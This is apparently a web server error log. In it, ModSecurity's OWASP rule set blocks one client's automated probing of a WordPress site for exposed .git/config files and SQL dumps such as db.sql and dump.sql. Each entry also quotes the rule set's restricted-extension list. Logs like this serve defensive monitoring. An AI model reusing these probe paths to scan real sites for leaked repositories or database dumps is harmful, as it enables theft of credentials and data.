[Thu Feb 26 01:03:30.757034 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLicgAAAAE&quot;]
[Thu Feb 26 01:03:30.757185 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLicgAAAAE&quot;]
[Thu Feb 26 01:03:30.787219 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLicwAAAAE&quot;]
[Thu Feb 26 01:03:30.787433 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLicwAAAAE&quot;]
[Thu Feb 26 01:03:30.787579 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLicwAAAAE&quot;]
[Thu Feb 26 01:03:30.812460 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLidAAAAAE&quot;]
[Thu Feb 26 01:03:30.812940 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLidAAAAAE&quot;]
[Thu Feb 26 01:03:30.813100 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLidAAAAAE&quot;]
[Thu Feb 26 01:03:30.834107 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/mysql.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLidQAAAAE&quot;]
[Thu Feb 26 01:03:30.834577 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/mysql.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLidQAAAAE&quot;]
[Thu Feb 26 01:03:30.834738 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/mysql.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLidQAAAAE&quot;]
[Thu Feb 26 01:03:30.849032 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizpQAAAAA&quot;]
[Thu Feb 26 01:03:30.849248 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizpQAAAAA&quot;]
[Thu Feb 26 01:03:30.849396 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizpQAAAAA&quot;]
[Thu Feb 26 01:03:30.864767 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dump.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLidgAAAAE&quot;]
[Thu Feb 26 01:03:30.865252 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dump.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLidgAAAAE&quot;]
[Thu Feb 26 01:03:30.865408 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dump.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLidgAAAAE&quot;]
[Thu Feb 26 01:03:30.888515 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizpgAAAAA&quot;]
[Thu Feb 26 01:03:30.888754 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizpgAAAAA&quot;]
[Thu Feb 26 01:03:30.888902 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizpgAAAAA&quot;]
[Thu Feb 26 01:03:30.904988 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLidwAAAAE&quot;]
[Thu Feb 26 01:03:30.905468 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLidwAAAAE&quot;]
[Thu Feb 26 01:03:30.905622 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLidwAAAAE&quot;]
[Thu Feb 26 01:03:30.929981 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizpwAAAAA&quot;]
[Thu Feb 26 01:03:30.930236 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizpwAAAAA&quot;]
[Thu Feb 26 01:03:30.930438 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizpwAAAAA&quot;]
[Thu Feb 26 01:03:30.937475 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/mysql.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLieAAAAAE&quot;]
[Thu Feb 26 01:03:30.937944 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/mysql.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLieAAAAAE&quot;]
[Thu Feb 26 01:03:30.938107 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/mysql.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLieAAAAAE&quot;]
[Thu Feb 26 01:03:30.956523 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizqAAAAAA&quot;]
